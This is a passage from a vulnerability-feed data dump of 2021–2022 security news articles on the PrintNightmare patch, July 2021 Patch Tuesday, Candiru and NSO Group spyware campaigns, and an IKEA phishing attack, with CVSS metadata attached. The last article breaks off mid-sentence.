Microsoft to publish an out-of-band patch a week before July's Patch Tuesday shows just how serious the problem is.\n\nPrintNightmare allows a standard user on a Windows network to execute arbitrary code on an affected machine, and to elevate their privileges as far as domain admin, by feeding a vulnerable machine a malicious printer driver. The problem was exacerbated by confusion around whether PrintNightmare was a known, patched problem or an entirely new problem. In the event it turned out to be a bit of both.\n\nLast week the Cybersecurity and Infrastructure Security Agency (CISA) urged administrators to [disable the Windows Print Spooler service](<https://us-cert.cisa.gov/ncas/current-activity/2021/06/30/printnightmare-critical-windows-print-spooler-vulnerability>) in domain controllers and systems that don't print.\n\nHowever, the installation of the Domain Controller (DC) role adds a thread to the spooler service that is responsible for removing stale print queue objects. If the spooler service is not running on at least one domain controller in each site, then Active Directory has no means to remove old queues that no longer exist.\n\nSo, many organizations were forced to keep the Print Spooler service enabled on some domain controllers, leaving them at risk to attacks using this vulnerability.\n\n### Set of patches\n\nDepending on the Windows version the patch will be offered as:\n\n * [KB5004945](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004947-os-build-17763-2029-out-of-band-71994811-ff08-4abe-8986-8bd3a4201c5d>) for Windows 10 version 2004, version 20H1, and version 21H1\n * [KB5004946](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004946-os-build-18363-1646-out-of-band-18c5ffac-6015-4b3a-ba53-a73c3d3ed505>) for Windows 10 version 1909\n * [KB5004947](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004947-os-build-17763-2029-out-of-band-71994811-ff08-4abe-8986-8bd3a4201c5d>) for Windows 10 version 1809 and Windows Server 2019\n * KB5004949 for Windows 10 version 1803 which is not available yet\n * [KB5004950](<https://support.microsoft.com/en-us/topic/july-6-2021-kb5004950-os-build-10240-18969-out-of-band-7f900b36-b3cb-4f5e-8eca-107cc0d91c50>) for Windows 10 version 1507\n * Older Windows versions (Windows 7 SP1, Windows 8.1 Server 2008 SP2, Windows Server 2008 R2 SP1, and Windows Server 2012 R2) will receive a security update that disallows users who are not administrators to install only signed print drivers to a print server.\n\nSecurity updates have not yet been released for Windows 10 version 1607, Windows Server 2016, or Windows Server 2012, but they will also be released soon, according to Microsoft.\n\nThe updates are cumulative and contain all previous fixes as well as protections for [CVE-2021-1675](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675>).\n\n### Not a complete fix\n\nIt is important to note that these patches and updates **only tackle the remote code execution (RCE) part** of the vulnerability. Several researchers have confirmed that the local privilege escalation (LPE) vector still works. This means that threat actors and already active malware can still locally exploit the vulnerability to gain SYSTEM privileges.\n\n### Advice\n\nMicrosoft recommends that you install this update immediately on all supported Windows client and server operating systems, starting with devices that currently host the print server role. You also have the option to configure the `RestrictDriverInstallationToAdministrators` registry setting to prevent non-administrators from installing signed printer drivers on a print server. See [KB5005010](<https://support.microsoft.com/en-us/topic/kb5005010-restricting-installation-of-new-printer-drivers-after-applying-the-july-6-2021-updates-31b91c02-05bc-4ada-a7ea-183b129578a7>) for more details.\n\n> \u201cThe attack vector and protections in CVE-2021-34527 reside in the code path that installs a printer driver to a Server. The workflow used to install a printer driver from a trusted print server on a client computer uses a different path. In summary, protections in CVE-2021-34527 including the RestrictDriverInstallationToAdministrators registry key do not impact this scenario.\u201d\n\nCISA encourages users and administrators to review the Microsoft Security Updates as well as CERT/CC Vulnerability Note [VU #383432](<https://www.kb.cert.org/vuls/id/383432>) and apply the necessary updates or workarounds.\n\n### Impact of the updates\n\nSo, the vulnerability lies in the normal procedure that allows users to install a printer driver on a server. A printer driver is in essence an executable like any other. And allowing users to install an executable of their choice is asking for problems. Especially combined with a privilege escalation vulnerability that anyone can use to act with SYSTEM privileges. The updates, patches, and some of the workarounds are all designed to limit the possible executables since they need to be signed printer drivers.\n\nFor a detailed and insightful diagram that shows GPO settings and registry keys administrators can check whether their systems are vulnerable, have a look at this flow chart diagram, courtesy of [Will Dormann](<https://twitter.com/wdormann>).\n\n> This is my current understanding of the [#PrintNightmare](<https://twitter.com/hashtag/PrintNightmare?src=hash&ref_src=twsrc%5Etfw>) exploitability flowchart. \nThere's a small disagreement between me and MSRC at the moment about UpdatePromptSettings vs. NoWarningNoElevationOnUpdate, but I think it doesn't matter much as I just have both for now. [pic.twitter.com/huIghjwTFq](<https://t.co/huIghjwTFq>)\n> \n> -- Will Dormann (@wdormann) [July 7, 2021](<https://twitter.com/wdormann/status/1412906574998392840?ref_src=twsrc%5Etfw>)\n\n### Information for users that applied 0patch\n\nIt is worth mentioning for the users that applied the PrintNightmare [micropatches by 0patch](<https://blog.0patch.com/2021/07/free-micropatches-for-printnightmare.html>) that according to 0patch it is better not to install the Microsoft patches. They posted on Twitter that the Microsoft patches that only fix the RCE part of the vulnerability disable the 0patch micropatch which fixes both the LPE and RCE parts of the vulnerability.\n\n> If you're using 0patch against PrintNightmare, DO NOT apply the July 6 Windows Update! Not only does it not fix the local attack vector but it also doesn't fix the remote vector. However, it changes localspl.dll, which makes our patches that DO fix the problem stop applying. <https://t.co/osoaxDVCoB>\n> \n> -- 0patch (@0patch) [July 7, 2021](<https://twitter.com/0patch/status/1412826130051174402?ref_src=twsrc%5Etfw>)\n\n### Update July 9, 2021\n\nOnly a little more than 12 hours after the release a researcher has found an exploit that works on a patched system under special circumstances. [Benjamin Delpy](<https://twitter.com/gentilkiwi?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1412771368534528001%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Farstechnica.com%2Fgadgets%2F2021%2F07%2Fmicrosofts-emergency-patch-fails-to-fix-critical-printnightmare-vulnerability%2F>) showed an exploit working against a Windows Server 2019 that had installed the out-of-band patch. In a demo Delpy shows that the update fails to fix vulnerable systems that use certain settings for a feature called [point and print](<https://docs.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-point-and-print>), which makes it easier for network users to obtain the printer drivers they need.\n\nIn Microsoft's defense the advisory for [CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) contains a note in the FAQ stating that:\n\n> Point and Print is not directly related to this vulnerability, but certain configurations make systems vulnerable to exploitation.\n\n### Update July 14, 2021\n\nThe Cybersecurity and Infrastructure Security Agency\u2019s (CISA) has issued [Emergency Directive 21-04](<https://cyber.dhs.gov/ed/21-04/>), \u201cMitigate Windows Print Spooler Service Vulnerability\u201d because it is aware of active exploitation, by multiple threat actors, of the PrintNightmare vulnerability. \n\nCISA has determined that this vulnerability poses an unacceptable risk to Federal Civilian Executive Branch agencies and requires emergency action. The actions CISA lists are required actions for the agencies. The determination that these actions are necessary is based on the current exploitation of this vulnerability by threat actors in the wild, the likelihood of further exploitation of the vulnerability, the prevalence of the affected software in the federal enterprise, and the high potential for a compromise of agency information systems. Exploitation of the vulnerability allows an attacker to remotely execute code with system level privileges enabling a threat actor to quickly compromise the entire identity infrastructure of a targeted organization. \n\nThe post [UPDATED: Patch now! Emergency fix for PrintNightmare released by Microsoft](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-07T14:17:31", "type": "malwarebytes", "title": "UPDATED: Patch now! Emergency fix for PrintNightmare released by Microsoft", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-07T14:17:31", "id": "MALWAREBYTES:DB34937B6474073D9444648D34438225", "href": "https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/07/patch-now-emergency-fix-for-printnightmare-released-by-microsoft/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "threatpost": [{"lastseen": "2021-07-13T22:17:17", "description": "Three bugs under active exploit were squashed by Microsoft Tuesday, part of its [July security roundup](<https://msrc.microsoft.com/update-guide/releaseNote/2021-Jul>) of fixes for Windows, Microsoft Office, SharePoint Server and Exchange Server. In all, Microsoft patched 116 bugs. Twelve bugs are rated critical, 103 rated important and one classified as moderate in severity.\n\nBugs under active attack include a critical scripting engine memory corruption ([CVE-2021-34448](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34448>)) flaw and two additional Windows kernel elevation-of-privilege vulnerabilities ([CVE-2021-31979](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979>), [CVE-2021-33771](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>)), both with a severity rating of important. \n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)The hundred-plus bug fixes add to a rough July for Microsoft, which rolled out an out-of-band fix for a Windows print spooler remote-code-execution vulnerability ([CVE-2021-34527](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>)), dubbed [PrintNightmare](<https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/>), earlier this month. The nightmare bug, first disclosed in April, was later discovered to be more serious than initially thought.\n\n## **Public, But Not Exploited **\n\nFive of the bugs patched by Microsoft ([CVE-2021-34473](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473>), [CVE-2021-33781](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33781>), [CVE-2021-34523](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523>), [CVE-2021-33779](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33779>), [CVE-2021-34492](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34492>)) were publicly known, albeit not exploited. Only one of those bugs (CVE-2021-34473), a Microsoft Exchange Server remote code execution (RCE) vulnerability, has a severity rating of critical, with a CVSS score of 9.1. The bug, one of the highest rated in terms of importance to fix this month, was part of Microsoft\u2019s April Patch Tuesday roundup of fixes, according to commentary by [Cisco Talos](<https://blog.talosintelligence.com/2021/07/microsoft-patch-tuesday-for-july-2021.html>).\n\n\u201cThis vulnerability was already patched in Microsoft\u2019s April security update but was mistakenly not disclosed. Users who already installed the April 2021 update are already protected from this vulnerability, though it is worth noting that this issue was part of a series of zero-days in Exchange Server used in a wide-ranging APT attack,\u201d wrote Talos authors Jon Munshaw and Jaeson Schultz.\n\n## **Patching Priorities **\n\nThe most pressing of bugs is a memory corruption vulnerability (CVE-2021-34448) in Windows Server\u2019s scripting engine that is triggered when the user opens a specially crafted file, either attached to an email or a compromised website.\n\n\u201c[This bug] is the most serious vulnerability for me. It is elegant in its simplicity, letting an attacker gain remote code execution just by getting the target to visit a domain,\u201d wrote Kevin Breen, director of cyber threat research with Immersive Labs, in his Patch Tuesday commentary. \u201cWith malicious, yet professional looking, domains carrying valid TLS certificates a regular feature nowadays, seamless compromise would be a trivial matter. Victims could even be attacked by sending .js or .hta files in targeted phishing emails.\u201d\n\nCisco Talos advises system admin to prioritize a patch for a critical bug ([CVE-2021-34464](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34464>)) in Microsoft\u2019s free Defender anti-virus software. \u201cThis issue could allow an attacker to execute remote code on the victim machine. However, users do not need to take any actions to resolve this issue, as the update will automatically install. The company has listed steps in its advisory users can take to ensure the update is properly installed,\u201d wrote Munshaw and Schultz.\n\nResearchers have also identified three SharePoint Server bugs ([CVE-2021-34520](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34520>), [CVE-2021-34467](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34467>), [CVE-2021-34468](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34468>)) as priority patches. Each allow an attacker to execute remote code on the victim machine. All are rated important. However, Microsoft reports that exploitation is \u201cmore likely\u201d with these vulnerabilities, Talos said.\n\nZero Day Initiative\u2019s Dustin Childs recommends tackling ([CVE-2021-34458](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34458>)), a Windows kernel vulnerability. \u201cIt\u2019s rare to see remote code execution in a kernel bug, but this is that rare exception. This bug impacts systems hosting virtual machines with single root input/output virtualization (SR-IOV) devices,\u201d [he wrote](<https://www.zerodayinitiative.com/blog/2021/7/13/the-july-2021-security-update-review>).\n\n\u201cIt\u2019s not clear how widespread this configuration is, but considering this bug rates as a CVSS 9.9, it\u2019s not one to ignore. If you have virtual machines in your environment, test and patch quickly,\u201d Childs added.\n\nIn related news, [Adobe\u2019s July patch roundup](<https://threatpost.com/adobe-patches-critical-acrobat/167743/>), also released Tuesday, includes fixes for its ubiquitous and free PDF reader Acrobat 2020 and other software such as Illustrator and Bridge. In all, Adobe patched 20 Acrobat bugs, with nine rated important.\n\n**_Check out our free _**[**_upcoming live and on-demand webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {}, "published": "2021-07-13T21:26:27", "type": "threatpost", "title": "Microsoft Crushes 116 Bugs, Three Actively Exploited", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771", "CVE-2021-33779", "CVE-2021-33781", "CVE-2021-34448", "CVE-2021-34458", "CVE-2021-34464", "CVE-2021-34467", "CVE-2021-34468", "CVE-2021-34473", "CVE-2021-34492", "CVE-2021-34520", "CVE-2021-34523", "CVE-2021-34527"], "modified": "2021-07-13T21:26:27", "id": "THREATPOST:98D815423018872E6E596DAA8131BF3F", "href": "https://threatpost.com/microsoft-crushes-116-bugs/167764/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-07-17T07:54:28", "description": "A set of unique spyware strains created by an Israeli firm and allegedly used by governments around the world to surveil dissidents has been defanged by Microsoft, the software giant said.\n\nThe private company, called variously Candiru, Grindavik, Saito Tech and Taveta (and dubbed \u201cSourgum\u201d by Microsoft), [reportedly](<https://www.forbes.com/sites/thomasbrewster/2019/10/03/meet-candiru-the-super-stealth-cyber-mercenaries-hacking-apple-and-microsoft-pcs-for-profit/?sh=4f4be6805a39>) sells its wares exclusively to governments, according to Citizen Lab, which first analyzed the malware and flagged it for Microsoft. The code, collectively known as \u201cDevilsTongue,\u201d has been used in highly targeted cyberattacks against civil society, according to [an advisory](<https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/>) issued Thursday \u2013 making use of a pair of zero-day vulnerabilities in Windows (now patched).\n\nThe victims number more than 100, and include politicians, human-rights activists, journalists, academics, embassy workers and political dissidents, Citizen Lab and Microsoft said. The targets have been global, located in Armenia, Iran, Israel, Lebanon, Palestine, Singapore, Spain, Turkey, United Kingdom and Yemen.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201cSourgum generally sells cyberweapons that enable its customers, often government agencies around the world, to hack into their targets\u2019 computers, phones, network infrastructure and internet-connected devices,\u201d according to Microsoft\u2019s [tandem advisory](<https://blogs.microsoft.com/on-the-issues/2021/07/15/cyberweapons-cybersecurity-sourgum-malware/?fbclid=IwAR3eN3x9ZzDt10dZh0aP5tEZ0AIvmu_dzah4F85dEYRlLliUhT3-gUET5Hc>). \u201cThese agencies then choose who to target and run the actual operations themselves.\u201d\n\nCitizen Lab researchers said that DevilsTongue can exfiltrate data and messages from various accounts, including Facebook, Gmail, Skype and Telegram. The spyware can also capture browsing history, cookies and passwords, turn on the target\u2019s webcam and microphone, and take pictures of the screen.\n\n\u201cCapturing data from additional apps, such as Signal Private Messenger, is sold as an add-on,\u201d according to the firm.\n\nMicrosoft noted that the stolen cookies can later be used by the attacker to sign in as the victim to websites to enable further information gathering.\n\nThe code can infect and monitor Android phones, cloud accounts, iPhones, Macs and PCs, Citizen Lab researchers said, noting that DevilsTongue\u2019s command-and-control (C2) infrastructure involves more than 750 websites, including \u201cdomains masquerading as advocacy organizations such as Amnesty International, the Black Lives Matter movement as well as media companies.\u201d\n\n## **Millions of Euros**\n\nDevilsTongue as a kit goes for millions of Euros, according to a leaked proposal [[PDF](<https://www.themarker.com/embeds/pdf_upload/2020/20200902-161742.pdf>)] obtained by Citizen Lab. It can be deployed in a number of attack vectors, including via malicious links, attached files in emails and man-in-the-middle attacks. The cost depends on the number of concurrent infections a user would like to maintain.\n\n\u201cThe \u20ac16 million project proposal allows for an unlimited number of spyware infection attempts, but the monitoring of only 10 devices simultaneously,\u201d according to Citizen Lab. \u201cFor an additional \u20ac1.5M, the customer can purchase the ability to monitor 15 additional devices simultaneously, and to infect devices in a single additional country. For an additional \u20ac5.5M, the customer can monitor 25 additional devices simultaneously, and conduct espionage in five more countries.\u201d\n\nIt added, \u201cFor a further additional \u20ac1.5M fee, customers can purchase a remote-shell capability, which allows them full access to run any command or program on the target\u2019s computer. This kind of capability is especially concerning, given that it could also be used to download files, such as planting incriminating materials, onto an infected device.\u201d\n\nUse of DevilsTongue is restricted in a handful of countries, including China, Iran, Israel, Russia and the U.S. However, there are, apparently, loopholes.\n\n\u201cMicrosoft observed Candiru victims in Iran, suggesting that in some situations, products from Candiru do operate in restricted territories,\u201d Citizen Lab researchers said. \u201cIn addition, targeting infrastructure disclosed in this report includes domains masquerading as the Russian postal service.\u201d\n\n## **Zero-Day Exploits**\n\nThe spyware exploits two elevation-of-privilege security vulnerabilities in Windows, CVE-2021-31979 and CVE-2021-33771, both of which [were addressed](<https://threatpost.com/microsoft-crushes-116-bugs/167764/>) in Microsoft\u2019s July Patch Tuesday update this week. The attacks are carried out via \u201ca chain of exploits that impacted popular browsers and our Windows operating system,\u201d Microsoft noted.\n\nBoth bugs give an attacker the ability to escape browser sandboxes and gain kernel code execution, Microsoft said:\n\n * **CVE-2021-31979:** An integer overflow within Windows NT-based operating system (NTOS). \u201cThis overflow results in an incorrect buffer size being calculated, which is then used to allocate a buffer in the kernel pool,\u201d according to Microsoft. \u201cA buffer overflow subsequently occurs while copying memory to the smaller-than-expected destination buffer. This vulnerability can be leveraged to corrupt an object in an adjacent memory allocation. Using APIs from user mode, the kernel pool memory layout can be groomed with controlled allocations, resulting in an object being placed in the adjacent memory location. Once corrupted by the buffer overflow, this object can be turned into a user mode to kernel mode read/write primitive. With these primitives in place, an attacker can then elevate their privileges.\u201d\n * **CVE-2021-33771:** A race condition within NTOS resulting in the use-after-free of a kernel object. \u201cBy using multiple racing threads, the kernel object can be freed, and the freed memory reclaimed by a controllable object,\u201d explained Microsoft. \u201cLike the previous vulnerability, the kernel pool memory can be sprayed with allocations using user mode APIs with the hopes of landing an object allocation within the recently freed memory. If successful, the controllable object can be used to form a user mode to kernel mode read/write primitive and elevate privileges.\u201d\n\nTo mitigate the attacks, Microsoft said that it \u201cbuilt protections into our products against the unique malware Sourgum created,\u201d in addition to the patching.\n\n\u201cThese attacks have largely targeted consumer accounts, indicating Sourgum\u2019s customers were pursuing particular individuals,\u201d according to Microsoft. \u201cThe protections we issued this week will prevent Sourgum\u2019s tools from working on computers that are already infected and prevent new infections on updated computers and those running Microsoft Defender Antivirus as well as those using Microsoft Defender for Endpoint.\u201d\n\nPrivate brokers of cyberattack kits for government surveillance have been publicized mainly thanks to another Israeli firm, NSO Group, which created the Pegasus spyware that enables customers to remotely exploit and monitor mobile devices. NSO Group has [long maintained](<https://threatpost.com/nso-group-president-defends-controversial-tactics/150694/>) that its kit is meant to be a tool for governments to use in fighting crime and terror, and that it\u2019s not complicit in any government\u2019s misuse of it. However, critics say that repressive governments use it for [more nefarious purposes](<https://threatpost.com/nso-group-impersonates-facebook-security/156021/>) to track dissidents, journalists and other members of civil society \u2014 and that NSO Group assists them. In December, Pegasus [added](<https://threatpost.com/zero-click-apple-zero-day-pegasus-spy-attack/162515/>) an exploit for a zero-day in Apple\u2019s iMessage feature for iPhone.\n\n**_Check out our free _**[**_upcoming live and on-demand webinar events_**](<https://threatpost.com/category/webinars/>)**_ \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {}, "published": "2021-07-16T15:55:57", "type": "threatpost", "title": "Windows 0-Days Used Against Dissidents in Israeli Broker\u2019s Spyware", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771"], "modified": "2021-07-16T15:55:57", "id": "THREATPOST:D112254AD1BEFC1317E4CFFA015742B2", "href": "https://threatpost.com/windows-zero-days-israeli-spyware-dissidents/167865/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-04-22T11:02:07", "description": "An unknown zero-click exploit in Apple\u2019s iMessage was used by Israeli-based NSO Group to plant either Pegasus or Candiru malware on iPhones owned by politicians, journalists and activists.\n\nCitizen Lab, in collaboration with Catalan-based researchers, released the finding [in a report on Monday](<https://citizenlab.ca/2022/04/catalangate-extensive-mercenary-spyware-operation-against-catalans-using-pegasus-candiru/>) that claims 65 people were targeted or infected with malware via an iPhone vulnerability called HOMAGE. It asserts the [controversial Israeli firm the NSO Group](<https://threatpost.com/nso-group-data-pegasus/167897/>) and a second firm Candiru were behind the campaigns that took place between 2017 and 2020.\n\nCandiru, [aka Sourgum](<https://threatpost.com/windows-zero-days-israeli-spyware-dissidents/167865/>), is a commercial firm that allegedly sells the DevilsTongue surveillance malware to governments around the world. The Apple iMessage HOMAGE bug is a so-called zero-click vulnerability, meaning no interaction by the victims is needed to surreptitiously install malware on intended targets. Since 2019, versions of Apple\u2019s iOS software are no longer vulnerable to HOMAGE attacks.\n\n## **Catalan Politicians and Activists Targeted**\n\n\u201cThe hacking covers a spectrum of civil society in Catalonia, from academics and activists to non-governmental organizations (NGOs). Catalonia\u2019s government and elected officials were also extensively targeted,\u201d wrote authors of the Citizen Lab report that included John Scott-Railton, Elies Campo, Bill Marczak, Bahr Abdul Razzak, Siena Anstis, G\u00f6zde B\u00f6c\u00fc, Salvatore Solimano and Ron Deibert.\n\nThey wrote \u201cthe highest levels of Catalan government to members of the European Parliament, legislators, and their staff and family members\u201d were also targeted.\n\nRegarding who directed the attacks? Researchers said it was \u201cnot conclusively attributing the operations to a specific entity,\u201d however evidence suggests Spanish authorities were likely behind the operation. It called out Spain\u2019s National Intelligence Center (CNI) as the likely mastermind, citing the organization\u2019s history of surveillance and espionage scandals.\n\n## **CatalanGate: Malware Specifics**\n\nThe Catalan attackers infected victims through at least two exploits: zero-click exploits and malicious SMS messages. Zero-click exploits are challenging to defend against, given that they do not require victims to engage in any activity.\n\nCitizen Lab alleges, victims were targeted with the Pegasus malware using the zero-click iOS exploit (HOMAGE) and a known malicious SMS message vulnerability, circa 20215, used by the NSO Group to spread its Pegasus malware.\n\nResearchers wrote: \u201cThe HOMAGE exploit appears to have been in use during the last months of 2019, and involved an iMessage zero-click component that launched a WebKit instance in the com.apple.mediastream.mstreamd process, following a com.apple.private.alloy.photostream lookup for a Pegasus email address.\u201d\n\nHOMAGE was also believed to have been used six time in 2019 and 2020. Citizen Lab said Apple devices running a version of its mobile operating system greater than 13.1.3 (released September 2019) are not vulnerable to attacks.\n\n## **Other Malware/Exploits Used in Campaigns**\n\nResearchers said the KISMET zero-click exploit was also used in the attacks. In December 2020, [Citizen Lab said phones of 36 journalists](<https://threatpost.com/zero-click-apple-zero-day-pegasus-spy-attack/162515/>) were infected with KISMET by four separate APTs, possibly linked to Saudi Arabia or the UAE.\n\nThe WhatsApp buffer overflow bug (CVE-2019-3568), exploited by the NSO Group in the CatalanGate attacks, had previously been reported [by Citizen Lab in 2019](<https://threatpost.com/whatsapp-zero-day-exploited-in-targeted-spyware-attacks/144696/>) and was patched in May of 2019. At the time, the [Financial Times](<https://twitter.com/FinancialTimes/status/1128061545475395584>) reported a \u201cprivate company\u201d believed to be the NSO Group created the zero-day attack to sell to its customers.\n\nAs part of the Catalan attacks, researchers say four individuals were targeted or infected using the Candiru spyware firm\u2019s spyware, also called Candiru. These attacks attempted to take advantage of two now patched zero-day bugs ([CVE-2021-31979](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979>), [CVE-2021-33771](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>)) \u2013 both Windows Kernel Elevation of Privilege Vulnerabilities \u2013 were used by Candiru. Both were discovered by Microsoft and patched in July 2021.\n\n\u201cWe identified a total of seven emails containing the Candiru spyware, via links to the domain name stat[.]email,\u201d researchers wrote. \u201cCandiru\u2019s spyware showed that Candiru was designed for extensive access to the victim device, such as extracting files and browser content, but also stealing messages saved in the encrypted Signal Messenger Desktop app.\u201d\n\nIn August 2021, [Citizen Lab reported](<https://threatpost.com/pegasus-spyware-uses-iphone-zero-click-imessage-zero-day/168899/>) a never-before-seen, zero-click iMessaging exploit had been used to illegally spy on Bahraini activists with NSO Group\u2019s Pegasus spyware.\n\nCitizen Lab described the campaigns as \u201chigh volume\u201d and examples of \u201cunrestrained abuses\u201d of privacy that point to a \u201cserious absence of regulatory constraints\u201d over the sale of spyware to government clients and others.\n\n\u201cIt is now well established that NSO Group, Candiru, other companies like them, as well as their various ownership groups, have utterly failed to put in place even the most basic safeguards against abuse of their spyware. What we find in Spain is yet another indictment of this industry,\u201d it wrote.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-04-19T16:04:33", "type": "threatpost", "title": "\u2018CatalanGate\u2019 Spyware Infections Tied to NSO Group", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-3568", "CVE-2021-31979", "CVE-2021-33771"], "modified": "2022-04-19T16:04:33", "id": "THREATPOST:BEBF3DAC7F6C6ED8ED69C7120E683703", "href": "https://threatpost.com/catalangate-spyware/179336/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-30T15:47:49", "description": "As of Friday \u2013 as in, shopping-on-steroids Black Friday \u2013 retail titan IKEA was wrestling with a then-ongoing reply-chain email phishing attack in which attackers were malspamming replies to stolen email threads.\n\n[BleepingComputer](<https://www.bleepingcomputer.com/news/security/ikea-email-systems-hit-by-ongoing-cyberattack/>) got a look at internal emails \u2013 one of which is replicated below \u2013 that warned employees of the attack, which was targeting the company\u2019s internal email inboxes. The phishing emails were coming from internal IKEA email addresses, as well as from the systems compromised at the company\u2019s suppliers and partners.\n\n> \u201cThere is an ongoing cyberattack that is targeting Inter IKEA mailboxes. Other IKEA organisations, suppliers, and business partners are compromised by the same attack and are further spreading malicious emails to persons in Inter IKEA.\n> \n> \u201cThis means that the attack can come via email from someone that you work with, from any external organisation, and as reply to an already ongoing conversation. It is therefore difficult to detect, for which we ask you to be extra cautious.\u201d \u2013IKEA internal email to employees.\n\nAs of Tuesday morning, the company hadn\u2019t seen any evidence of its customers\u2019 data, or business partners\u2019 data, having been compromised. \u201cWe continue to monitor to ensure that our internal defence mechanisms are sufficient,\u201d the spokesperson said, adding that \u201cActions have been taken to prevent damages\u201d and that \u201ca full-scale investigation is ongoing.\u201d____\n\nThe spokesperson said that the company\u2019s \u201chighest priority\u201d is that \u201cIKEA customers, co-workers and business partners feel certain that their data is secured and handled correctly.\u201d\n\nIKEA didn\u2019t respond to Threatpost\u2019s queries about whether the attack has been contained or if it\u2019s still ongoing.\n\n## Example Phishing Email\n\nIKEA sent its employees an example phishing email, shown below, that was received in Microsoft Outlook. The company\u2019s IT teams reportedly pointed out that the reply-chain emails contain links ending with seven digits. Employees were warned against opening the emails, regardless of who sent them, and were asked to immediately report the phishing emails to the IT department if they receive them.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/29144159/phishing-email-e1638214934826.jpeg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2021/11/29144159/phishing-email-e1638214934826.jpeg>)\n\nExample phishing email sent to IKEA employees. Source: BleepingComputer.\n\n## Exchange Server Attacks D\u00e9j\u00e0 Vu?\n\nThe attack sounds familiar: Earlier this month, Trend Micro published a 